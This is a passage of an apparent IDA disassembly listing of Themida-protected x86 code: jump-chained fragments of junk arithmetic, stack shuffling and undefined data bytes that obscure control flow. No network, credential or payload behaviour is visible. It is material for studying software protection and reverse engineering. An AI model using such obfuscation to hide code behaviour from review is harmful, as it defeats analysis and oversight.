loc_551773:				; CODE XREF: Themida_:005495DEj
		shr	esi, 2
		js	loc_550166
		jmp	loc_54C21D
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 83240C8Bh, 0F16804C4h, 8900005Eh, 8B542434h,	4E92434h
		dd 89FFFFA7h, 0DAF758C2h, 29F6C281h, 0C2813297h, 0D5752D7Ch
		dd 8A1BD55h, 0BA52727Eh, 1A1A62A4h, 0F75AD509h,	0F06FE9DDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5517C2:				; CODE XREF: Themida_:0054CB7Fj
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_54F555
; ---------------------------------------------------------------------------

loc_5517D0:				; CODE XREF: Themida_:0055224Fj
		jmp	loc_5491CF
; ---------------------------------------------------------------------------

loc_5517D5:				; CODE XREF: Themida_:0054E1D8j
		sub	bl, 0FAh
		jmp	loc_549F37
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 2434FF04h, 83241C8Bh, 0C48304C4h, 24048F04h,	0EFE95Ch
		dd 15F0000h, 24BE56D8h,	295E5A64h, 24348BF0h, 4C481h, 0E9510000h
		dd 0FFFF755Fh, 75B0E9ADh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551816:				; CODE XREF: Themida_:loc_54CC77j
		mov	esi, 281705F2h
		sub	eax, esi
		pop	esi
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_54D7E6
; ---------------------------------------------------------------------------
		db 81h
		dd 0B80C02C6h, 0DBC68100h, 1133509h, 368EE9FEh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55183E:				; CODE XREF: Themida_:0054F73Cj
		mov	ebx, 37C139ADh
		sub	edx, ebx
		jmp	loc_549876
; ---------------------------------------------------------------------------
		dw 0FCBBh
		dd 29788517h, 0F3E95BD9h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551857:				; CODE XREF: Themida_:0054D42Dj
		mov	edi, 73257CE5h
		inc	edi
		add	edi, 8CDA831Eh
		add	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		push	esi
		mov	esi, 0F980904h
		jmp	loc_550521
; ---------------------------------------------------------------------------

loc_551876:				; CODE XREF: Themida_:0054A0DEj
		pop	esp
		push	129Fh
		mov	[esp], edx
		mov	edx, 65353601h
		push	esi
		mov	esi, 6DF949ABh
		or	edx, esi
		pop	esi
		and	edx, 4DE22416h
		jmp	loc_554142
; ---------------------------------------------------------------------------
		dd 6624248Bh, 2404B30Fh, 7083E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5518A6:				; CODE XREF: Themida_:00553418j
		pop	esi
		xor	ebx, eax
		push	ebp
		jmp	loc_549213
; ---------------------------------------------------------------------------

loc_5518AF:				; CODE XREF: Themida_:005493BFj
		and	ecx, esi
		pop	esi
		xor	ecx, 0EE8780Bh
		sub	ebx, ecx
		pop	ecx
		push	3E0Ch
		mov	[esp], eax
		push	ebp
		push	edi
		jmp	loc_5553A4
; ---------------------------------------------------------------------------

loc_5518CA:				; CODE XREF: Themida_:005559F6j
		add	edx, 688A1EA2h
		pop	edi
		add	edx, esi
		add	edx, 9C4477Eh
		jmp	loc_54BBA3
; ---------------------------------------------------------------------------

loc_5518DE:				; CODE XREF: Themida_:00550A2Dj
		popf
		retn
; ---------------------------------------------------------------------------
		dd 0FF7044E9h, 48B66FFh, 4EC8124h, 89000000h, 0E4E9240Ch
		dd 81000027h, 8C4A9ACEh, 9AC5E953h, 0E95DFFFFh,	0FFFFEB5Ah
; ---------------------------------------------------------------------------

loc_551908:				; CODE XREF: Themida_:0055452Fj
		sub	al, ch
		pop	ecx
		add	al, 4Ch
		sub	al, bl
		push	bx
		jmp	loc_54C6CE
; ---------------------------------------------------------------------------

loc_551916:				; CODE XREF: Themida_:00555027j
		mov	edx, 2
		push	edi
		mov	edi, 1174058Dh
		jmp	loc_554E25
; ---------------------------------------------------------------------------

loc_551926:				; CODE XREF: Themida_:00549C9Bj
		xor	ebp, eax
		pop	eax
		jmp	loc_54BC16
; ---------------------------------------------------------------------------

loc_55192E:				; CODE XREF: Themida_:005503BCj
					; Themida_:00551974j
		mov	ebp, 44CF0D2Ah
		add	ebx, 625F40FEh
		sub	ebx, ebp
		sub	ebx, 625F40FEh
		jmp	loc_54D83E
; ---------------------------------------------------------------------------

loc_551946:				; CODE XREF: Themida_:0055154Dj
		mov	edi, 4
		sub	ebp, 4D4419ABh
		add	ebp, edi
		jmp	loc_551A10
; ---------------------------------------------------------------------------

loc_551958:				; CODE XREF: Themida_:005521ECj
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_54D4D6
; ---------------------------------------------------------------------------

loc_551971:				; CODE XREF: Themida_:loc_555C3Dj
		push	eax
		mov	ah, 20h
		jmp	loc_55192E
; ---------------------------------------------------------------------------

loc_551979:				; CODE XREF: Themida_:005558DFj
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_55197E:				; CODE XREF: Themida_:0054DCC5j
		shr	word ptr [esp],	cl
		pushf
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_551988:				; CODE XREF: Themida_:0054953Fj
		pop	edx
		xor	esi, [esp]
		jmp	loc_550CD6
; ---------------------------------------------------------------------------

loc_551991:				; CODE XREF: Themida_:0054AFB3j
		add	al, bh
		pop	ebx
		jmp	loc_55422F
; ---------------------------------------------------------------------------

loc_551999:				; CODE XREF: Themida_:0055539Fj
		jnz	loc_5503EC
		jmp	loc_553F6D
; ---------------------------------------------------------------------------
		dd 0EFE9DE88h, 81FFFFE7h, 4C6h,	4EC8100h, 89000000h, 1FBF243Ch
		dd 0E91B693Bh, 0FFFF7AD4h, 53240C8Bh, 0FF7725E9h, 525858FFh
		dd 345FECBAh, 0C2BF5744h, 31277D56h, 0E2815FFAh, 2BD037E6h
		dd 122EA81h, 0D0012340h, 2055Ah, 0FF500000h, 58042474h
		dd 5C24048Fh, 2404D366h, 85F4E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551A06:				; CODE XREF: Themida_:00548DE7j
		push	0A51h
		jmp	loc_555B86
; ---------------------------------------------------------------------------

loc_551A10:				; CODE XREF: Themida_:00551953j
		add	ebp, 4D4419ABh
		pop	edi
		jmp	loc_548DE4
; ---------------------------------------------------------------------------

loc_551A1C:				; CODE XREF: Themida_:0054EB08j
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		jmp	loc_553206
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 4EC8324h, 0FF243C89h, 148B2434h, 4C48124h, 50000000h
		dd 0EC815854h, 4, 0E9240C89h, 0FFFFB184h, 0AAA4E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551A5A:				; CODE XREF: Themida_:0054E034j
		add	edx, 4
		push	ebp
		mov	ebp, 7E5D7F85h
		or	ebp, 5E421F3Dh
		xchg	ebx, ebp
		not	ebx
		jmp	loc_550BC3
; ---------------------------------------------------------------------------
		db 2 dup(4Bh), 0F7h
		dd 0AE810FDBh, 0E9FFFFE0h, 4516h, 88E68956h
		db 0FCh
; ---------------------------------------------------------------------------

loc_551A89:				; CODE XREF: Themida_:0054B600j
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		push	ebp
		mov	ebp, esp
		push	34Dh
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_550327
; ---------------------------------------------------------------------------
		dd 0DF69C181h, 0CF298251h, 0F088E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551AB2:				; CODE XREF: Themida_:00550E5Aj
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		rol	dword ptr [esp], cl
		pushf
		jmp	loc_54AD0E
; ---------------------------------------------------------------------------

loc_551AC5:				; CODE XREF: Themida_:0054E32Bj
		mov	[esp], ebx
		push	635Ch
		mov	[esp], ecx
		mov	ecx, 1
		mov	ebx, ecx
		pop	ecx
		and	eax, ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_552AF0
; ---------------------------------------------------------------------------

loc_551AE6:				; CODE XREF: Themida_:00555121j
		mov	ecx, 0BF3224Dh
		push	ebp
		mov	ebp, 0CF1AA407h
		sub	ecx, ebp
		jmp	loc_552D06
; ---------------------------------------------------------------------------

loc_551AF8:				; CODE XREF: Themida_:0054A575j
					; Themida_:0054F935j
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		push	7714h
		mov	[esp], ebx
		jmp	loc_55455E
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 7
		dd 814F144Fh, 0F80254C6h, 0B366E91Ah, 34FFFFFFh, 2434FF24h
		dd 0FF757CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551B35:				; CODE XREF: Themida_:0054BDD9j
		mov	cl, 62h
		shr	cl, 4
		dec	cl
		push	1EDDh
		jmp	loc_54A34E
; ---------------------------------------------------------------------------

loc_551B46:				; CODE XREF: Themida_:0054E420j
		dec	eax
		xor	eax, 2FDF1725h
		or	ebp, eax
		jmp	loc_549FE3
; ---------------------------------------------------------------------------

loc_551B53:				; CODE XREF: Themida_:0054B9FBj
		xchg	edi, [esp]
		pop	esp
		push	eax
		push	edx
		mov	dl, 0DEh
		mov	al, dl
		pop	edx
		jmp	loc_54C4C4
; ---------------------------------------------------------------------------

loc_551B63:				; CODE XREF: Themida_:005556AFj
		jmp	loc_54C7D5
; ---------------------------------------------------------------------------

loc_551B68:				; CODE XREF: Themida_:0054B5EBj
		mov	ebp, esp
		jmp	loc_549154
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481243Ch, 4, 8704C483h, 1DE92404h
		db 9Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551B83:				; CODE XREF: Themida_:00551E24j
		sub	ebx, 6A6F7275h
		add	ebx, eax
		add	ebx, 6A6F7275h
		pop	eax
		jmp	loc_549674
; ---------------------------------------------------------------------------

loc_551B97:				; CODE XREF: Themida_:loc_54AA77j
		shr	ebp, 3
		jmp	loc_5509C7
; ---------------------------------------------------------------------------

loc_551B9F:				; CODE XREF: Themida_:005534B6j
		mov	esi, esp
		add	esi, 4
		jmp	loc_552CA0
; ---------------------------------------------------------------------------
		dd 4B951h, 0C2810000h, 74C4632Eh, 0EA81CA01h, 74C4632Eh
		dd 0FFC3DDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551BC5:				; CODE XREF: Themida_:0054C34Fj
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_54E325
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 8F04C483h, 248B2404h, 0C8B6624h, 5F545724h, 8904EC83h
		dd 0BB68242Ch, 89000019h, 8D682404h, 585C4040h,	4040892Dh
		dd 58C5895Ch, 6328C781h, 0EF01309Dh, 6328EF81h,	2C8B309Dh
		dd 4C48324h, 2661E9h
		db 0
; ---------------------------------------------------------------------------

loc_551C21:				; CODE XREF: Themida_:00555ECFj
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		not	ebx
		xchg	ebx, [esp]
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_551C44:				; CODE XREF: Themida_:00550658j
		jns	loc_548AC7
		dec	esi
		jp	loc_554604
		dec	esi
		push	ebp
		mov	al, 0D0h
		push	eax

loc_551C56:				; CODE XREF: Themida_:00552887j
		and	edx, 29826C13h
		jno	loc_54D413
		jmp	loc_553A84
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0E1802434h
		db 37h
; ---------------------------------------------------------------------------

loc_551C6D:				; CODE XREF: Themida_:0054EFDFj
		pop	edx
		jmp	loc_55550E
; ---------------------------------------------------------------------------

loc_551C73:				; CODE XREF: Themida_:00555BA8j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_5512C4
; ---------------------------------------------------------------------------

loc_551C80:				; CODE XREF: Themida_:005502AEj
		mov	ebp, esp
		push	4AEFh
		jmp	loc_55338C
; ---------------------------------------------------------------------------
		dd 5C241C87h, 0FF9EACE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551C95:				; CODE XREF: Themida_:0054BE71j
		mov	ebx, 4065ADC3h
		xor	edx, ebx
		jmp	loc_54E14A
; ---------------------------------------------------------------------------
		db 0C1h, 0E7h, 4
		dd 23E9DFF7h
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_551CAB:				; CODE XREF: Themida_:0054FDC1j
		mov	[esp], eax
		push	3DBh
		jmp	loc_54C561
; ---------------------------------------------------------------------------
		dd 9CD7E949h, 0C581FFFFh, 6B055C1Ah, 0E9E8015Fh, 16F7h
; ---------------------------------------------------------------------------

loc_551CCC:				; CODE XREF: Themida_:005538F4j
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		push	eax
		jmp	loc_553CB8
; ---------------------------------------------------------------------------

loc_551CEF:				; CODE XREF: Themida_:005540FEj
		push	eax
		mov	eax, 789E1785h
		shr	eax, 1
		neg	eax
		or	eax, 9F51121h
		jmp	loc_554444
; ---------------------------------------------------------------------------
		db 8Bh
		dd 62E9240Ch, 5100002Fh, 253CE9h, 2EAC100h, 0BDE2C281h
		dd 0D601F5F7h, 8124148Bh, 4C4h,	0EBBD5500h, 8158EE16h
		dd 0B97225CDh, 8F92E929h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551D36:				; CODE XREF: Themida_:00554591j
		not	ebp
		inc	ebp
		jo	loc_54A47D
		xor	ebp, 0F717B096h
		jmp	loc_54C343
; ---------------------------------------------------------------------------
		dw 0F745h
		dd 42BE56DDh, 0E9057465h, 0FFFFA83Dh, 5C24048Fh, 0E99CC138h
		dd 0FFFF6BC5h
; ---------------------------------------------------------------------------

loc_551D64:				; CODE XREF: Themida_:0055405Fj
		xor	ecx, 56C3B1A8h
		mov	ebx, ecx
		pop	ecx
		push	ebp
		mov	ebp, 891113Ah
		push	eax
		mov	eax, 4AF709DAh
		or	ebp, eax
		mov	eax, [esp]
		jmp	loc_553CDA
; ---------------------------------------------------------------------------

loc_551D83:				; CODE XREF: Themida_:00549FBEj
					; Themida_:005556B5j
		and	ebp, 78106289h
		jp	loc_549632
		jmp	loc_55435C
; ---------------------------------------------------------------------------

loc_551D94:				; CODE XREF: Themida_:00553777j
		inc	dword ptr [esp]
		pop	edi
		inc	edi
		push	ecx
		mov	ecx, 3CF95676h
		sub	edi, ecx
		pop	ecx
		inc	edi
		xor	edi, 72A6F8E7h
		sub	eax, 68CC11B5h
		sub	eax, edi
		add	eax, 68CC11B5h
		jmp	loc_553C4B
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0E956240Ch, 0FFFFD94Ah, 0E904C483h, 0FFFF7FAAh
; ---------------------------------------------------------------------------

loc_551DCC:				; CODE XREF: Themida_:0054B924j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_553490
; ---------------------------------------------------------------------------
		dw 0D0F7h
		dd 0F035D0F7h, 0E9757E20h, 0FFFF8288h, 0BA52555Bh, 3F3A7F14h
		dd 0C15AD589h, 0C58103EDh, 55BD0DD6h, 3B37C581h, 0D5F735FDh
		dd 3389CD81h, 0BA52250Ch, 5A013233h, 602AF281h,	0F28170B9h
		dd 47E6258Eh, 0FFA8E0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551E21:				; CODE XREF: Themida_:00553B62j
		sub	eax, esi
		pop	esi
		jmp	loc_551B83
; ---------------------------------------------------------------------------

loc_551E29:				; CODE XREF: Themida_:0054AA15j
		mov	esi, 790E6BA1h
		jmp	loc_54B6BB
; ---------------------------------------------------------------------------

loc_551E33:				; CODE XREF: Themida_:0054C7DBj
		add	ebp, 6CF24081h
		jmp	loc_54E261
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4EC8324h, 0E9243489h, 0FFFFD676h
; ---------------------------------------------------------------------------

loc_551E4C:				; CODE XREF: Themida_:0054E781j
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp]
		jmp	loc_54CBF0
; ---------------------------------------------------------------------------
		db 0ACh, 66h, 52h
		dd 0FEE980B6h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_551E67:				; CODE XREF: Themida_:0054E608j
		jmp	loc_548929
; ---------------------------------------------------------------------------
		dd 3D93CF81h, 8D0F3853h, 0FFFF83C2h, 0FFD9F781h, 0F80139D3h
		dd 57243C8Bh
		db 89h,	0E7h, 53h
; ---------------------------------------------------------------------------

loc_551E87:				; CODE XREF: Themida_:0054EF07j
		sub	ebp, 4
		jmp	loc_54A13C
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 4C18104h, 55000000h,	947C9BDh, 3CF5812Dh, 52433F44h
		dd 3F53A9BAh, 5AD50977h, 4EC81h, 1C890000h, 0AC05BB24h
		dd 0DD0180C0h, 5DE9015Bh, 0FFD308E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551EC9:				; CODE XREF: Themida_:loc_54C9BFj
					; Themida_:00551231j
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_54A99B
; ---------------------------------------------------------------------------
		dd 375EB850h, 0D8F7645Eh, 33668D0Fh, 97350000h,	4843B639h
		dd 13738D0Fh, 81520000h, 4ECh, 240C8900h, 161E81B9h, 59CA8964h
		dd 0D4E9D029h, 80FFFF7Bh, 8D0F59F4h, 0FFFFA02Bh, 8005ECC0h
		dd 0E5883EECh, 8124048Bh, 4C4h,	50AE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_551F26:				; CODE XREF: Themida_:00550547j
		sub	esi, edx
		pop	edx
		jmp	loc_555925
; ---------------------------------------------------------------------------

loc_551F2E:				; CODE XREF: Themida_:0054DE7Aj
		or	ebp, 0D357092h
		xor	ebp, 13894737h
		sub	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		sub	edx, 22021158h
		add	edx, 3D15142Bh
		add	edx, eax
		sub	edx, 3D15142Bh
		push	ecx
		jmp	loc_5505EB
; ---------------------------------------------------------------------------

loc_551F60:				; CODE XREF: Themida_:loc_54A42Dj
		sub	esi, 0CC50287h
		jnp	loc_5523F7
		push	edx
		mov	edx, 112A27DFh
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		pop	esi
		add	[esp+4], ecx
		pop	ecx
		pop	ecx
		push	esi
		jmp	loc_55117A
; ---------------------------------------------------------------------------

loc_551F84:				; CODE XREF: Themida_:loc_55593Fj
		sub	ebx, 1
		xor	ebx, 1A8211Ch
		add	ebp, ebx
		mov	ebx, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_549471
; ---------------------------------------------------------------------------
		dd 0FF6984E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551FA5:				; CODE XREF: Themida_:005520FCj
		mov	ah, dl
		push	ebx
		mov	bh, ah
		mov	ch, bh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_553515
; ---------------------------------------------------------------------------

loc_551FBA:				; CODE XREF: Themida_:0054C590j
		mov	[esp], edi
		mov	edi, 41DF56BBh
		shr	edi, 2
		dec	edi
		add	edi, 99D53EDh
		and	edi, 443718C2h
		sub	edi, 150881h
		add	edx, edi
		pop	edi
		dec	edx
		sub	edx, 46E86294h
		push	edi
		mov	edi, 9A865CCEh
		add	edx, edi
		pop	edi
		add	eax, edx
		jmp	loc_54F2EC
; ---------------------------------------------------------------------------

loc_551FF2:				; CODE XREF: Themida_:005499C2j
		push	4748h
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_551762
; ---------------------------------------------------------------------------

loc_552007:				; CODE XREF: Themida_:0054DE88j
		xor	esi, ebx
		jmp	loc_549EBD
; ---------------------------------------------------------------------------

loc_55200E:				; CODE XREF: Themida_:0054B19Dj
		dec	esi
		add	esi, 3196B900h
		sub	ebp, esi
		jmp	loc_555411
; ---------------------------------------------------------------------------

loc_55201C:				; CODE XREF: Themida_:0054CE21j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		shr	eax, 2
		sub	eax, 0EE187Ch
		push	eax
		mov	ebp, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_54D926
; ---------------------------------------------------------------------------
		dd 4C481h, 4F680000h, 89000055h, 0EAB82404h, 0C106CE62h
		dd 0D0F708E8h, 6CE6705h, 0E9C20100h, 0FFFF796Eh
; ---------------------------------------------------------------------------

loc_552064:				; CODE XREF: Themida_:00555009j
		mov	[esp], eax
		push	eax
		mov	eax, 1DFD567Ch
		sub	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_55087B
; ---------------------------------------------------------------------------

loc_55208B:				; CODE XREF: Themida_:0054F157j
		sub	ebp, 0BD165EB6h
		push	ebp
		mov	edx, [esp]
		add	esp, 4
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp

loc_5520AC:				; CODE XREF: Themida_:00548C7Aj
					; Themida_:0054B17Dj
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_551236
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 4C181h, 0C870000h, 24248B24h, 8B24048Fh, 88E92424h
		db 81h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5520DF:				; CODE XREF: Themida_:00553DF1j
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_54A199
; ---------------------------------------------------------------------------

loc_5520EA:				; CODE XREF: Themida_:00554E9Bj
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebx
		push	0F5h
		mov	[esp], ecx
		push	eax
		jmp	loc_551FA5
; ---------------------------------------------------------------------------

loc_552101:				; CODE XREF: Themida_:0054A962j
					; Themida_:005541CFj
		push	3A95h
		mov	[esp], edx
		push	eax
		mov	eax, 7A496875h
		add	eax, 0AE96BEBh
		jmp	loc_5491F0
; ---------------------------------------------------------------------------

loc_552119:				; CODE XREF: Themida_:0054CA64j
		mov	edx, [esp]
		push	eax
		jmp	loc_54D049
; ---------------------------------------------------------------------------
		dw 2BBh
		dd 1000000h, 0FF575BDFh, 5F042474h, 8B24048Fh, 9662424h
		dd 0E99C2404h, 0FFFF67E9h
; ---------------------------------------------------------------------------

loc_552140:				; CODE XREF: Themida_:005551CCj
		pop	eax
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 543D0E54h
		push	ecx
		mov	ecx, 39510FA2h
		add	ecx, 32C7083Ah
		xor	ebx, ecx
		jmp	loc_54C658
; ---------------------------------------------------------------------------

loc_55215F:				; CODE XREF: Themida_:0054D358j
		jmp	loc_550652
; ---------------------------------------------------------------------------

loc_552164:				; CODE XREF: Themida_:0054F0A7j
		push	25B3h
		mov	[esp], esi
		push	605Ch
		mov	[esp], ebx
		jmp	loc_552A7F
; ---------------------------------------------------------------------------

loc_552179:				; CODE XREF: Themida_:0054A947j
		jmp	loc_555B09
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 243C8904h, 0FFCB48E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_552189:				; CODE XREF: Themida_:0054FFCCj
		and	ebp, 7E070E98h
		ja	loc_54B1CC
		push	ebx
		mov	ebx, 5D4B2ED1h
		jmp	loc_552D81
; ---------------------------------------------------------------------------
		dd 82E9C88Ah, 57FFFF67h, 0C781E789h, 4,	4603BB53h, 0F3811A06h
		dd 1A064607h, 1C8BDF01h, 4C48324h, 5C243C87h, 0FFFB8BE9h
		dd 243C89FFh, 668E789h,	0E900001Eh, 0FFFFDA12h
; ---------------------------------------------------------------------------

loc_5521DC:				; CODE XREF: Themida_:loc_550840j
		not	ebp
		xor	ebp, 98E1CEF6h
		jmp	loc_54F099
; ---------------------------------------------------------------------------

loc_5521E9:				; CODE XREF: Themida_:00548E80j
		add	esp, 4
		jmp	loc_551958
; ---------------------------------------------------------------------------

loc_5521F1:				; CODE XREF: Themida_:0054E07Cj
		add	esi, 0F4CE234Ah
		mov	edx, esi
		jmp	loc_5515BB
; ---------------------------------------------------------------------------

loc_5521FE:				; CODE XREF: Themida_:0054A377j
		mov	edx, 65FDEFB5h
		xor	esi, edx
		pop	edx
		sub	edx, esi
		pop	esi
		sub	eax, 59A7453h
		jmp	loc_554BAF
; ---------------------------------------------------------------------------
		db 89h
		dd 9DE92404h
		db 92h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55221B:				; CODE XREF: Themida_:0054DB6Fj
		push	esi
		jmp	loc_552CC2
; ---------------------------------------------------------------------------

loc_552221:				; CODE XREF: Themida_:00553D39j
					; Themida_:00554021j
		push	22B9h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54F839
; ---------------------------------------------------------------------------

loc_552236:				; CODE XREF: Themida_:00555AEBj
		not	edx
		add	edx, 8041CDB2h
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [edi+1Ch]
		push	ebp
		mov	ebp, 1AC73A22h
		dec	ebp
		jle	loc_5517D0
		jmp	loc_54B79D
; ---------------------------------------------------------------------------
		dw 2D68h
		dd 8B0BC016h, 0EC812404h, 4, 89241C89h,	0F2E952E3h
		db 8Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552273:				; CODE XREF: Themida_:005550C9j
		xor	ecx, 29DC2C3Ah
		sub	ebx, ecx
		jmp	loc_54B0EE
; ---------------------------------------------------------------------------
		dd offset dword_52A048+320h
		dd 9D58E900h, 4ACFFFFh,	0E9052CE2h, 28C8h, 0E9241C31h
		dd 0FFFFBE92h, 81E68956h, 4C6h,	0E9555000h, 0FFFF888Bh
; ---------------------------------------------------------------------------

loc_5522AC:				; CODE XREF: Themida_:00555EE5j
		inc	dh
		shr	dh, 3
		push	ebx
		jmp	loc_548ECF
; ---------------------------------------------------------------------------

loc_5522B7:				; CODE XREF: Themida_:0054C9ABj
		pop	esp
		shr	ecx, 2
		push	57E7h
		mov	[esp], ebx
		jmp	loc_550C3C
; ---------------------------------------------------------------------------
		dd 0C8B5451h, 4C48124h,	81000000h, 4C1h, 4C18300h, 5C240C87h
		dd 0FFA64AE9h, 0B60F66FFh, 0D5686602h, 489666Ah, 6633E924h
		dd 295BFFFFh, 5A042454h, 6242C81h, 103473Ah, 4812404h
		dd 473A0624h, 4D236803h, 1C890000h, 5D5EBB24h, 6C8126DAh
		dd 67BC0424h, 5C012D21h, 44810424h, 67BC0424h, 1C8B2D21h
		dd 4C48124h, 0E9000000h, 0FFFFCEFEh
; ---------------------------------------------------------------------------

loc_55233C:				; CODE XREF: Themida_:0054D8B3j
		shr	eax, 7
		add	eax, 5AE422C5h
		jmp	loc_549EF7
; ---------------------------------------------------------------------------

loc_552349:				; CODE XREF: Themida_:0054F28Aj
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5524C2
; ---------------------------------------------------------------------------
		dd 835AD000h, 896602ECh, 0B551241Ch, 0A9E95018h, 81FFFF7Eh
		dd 4ECh, 242C8900h, 4F69BA52h, 0EC837DD2h, 0F33BE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55237E:				; CODE XREF: Themida_:0054A6A3j
					; Themida_:00551453j
		push	ecx
		jmp	loc_548CDB
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		push	esi
		mov	esi, 0E5C2D5Eh
		mov	edx, 3D6557AAh
		xor	edx, esi
		jmp	loc_553375
; ---------------------------------------------------------------------------

loc_55239A:				; CODE XREF: Themida_:0054CFCFj
		add	bh, 0FFh
		xor	bh, 5Fh
		jmp	loc_555391
; ---------------------------------------------------------------------------

loc_5523A5:				; CODE XREF: Themida_:0054C1A9j
		mov	dl, 0F6h
		xor	ch, dl
		pop	dx
		sub	al, 66h
		sub	al, ch
		jmp	loc_555A7E
; ---------------------------------------------------------------------------

loc_5523B4:				; CODE XREF: Themida_:0054F9DEj
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_5523C9:				; CODE XREF: Themida_:00554D1Cj
		sub	esi, 0EC0B9CD2h
		add	ebp, esi
		pop	esi
		jmp	loc_552580
; ---------------------------------------------------------------------------
		db 0B7h
		dd 5BF8884Ch, 0E8C0022Ch, 2C842C06h, 23AEE95Ch,	0D0310000h
		dd 0C789575Ah, 78E9F989h
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5523F7:				; CODE XREF: Themida_:00551F66j
		push	edx
		mov	edx, 112A27DFh
		sub	esi, edx
		jmp	loc_550C44
; ---------------------------------------------------------------------------

loc_552404:				; CODE XREF: Themida_:00552BB3j
		push	0FFFFFFFFh
		jmp	loc_555CFF
; ---------------------------------------------------------------------------
		dw 16E9h
		dd 0B8FFFF65h, 0D7075EDh, 0B8377C25h, 22810F64h, 0E9FFFF75h
		dd 0FFFF7D14h, 0B951E789h, 4, 8904EC83h, 7EB22414h, 34FFD520h
		dd 6FFDE924h
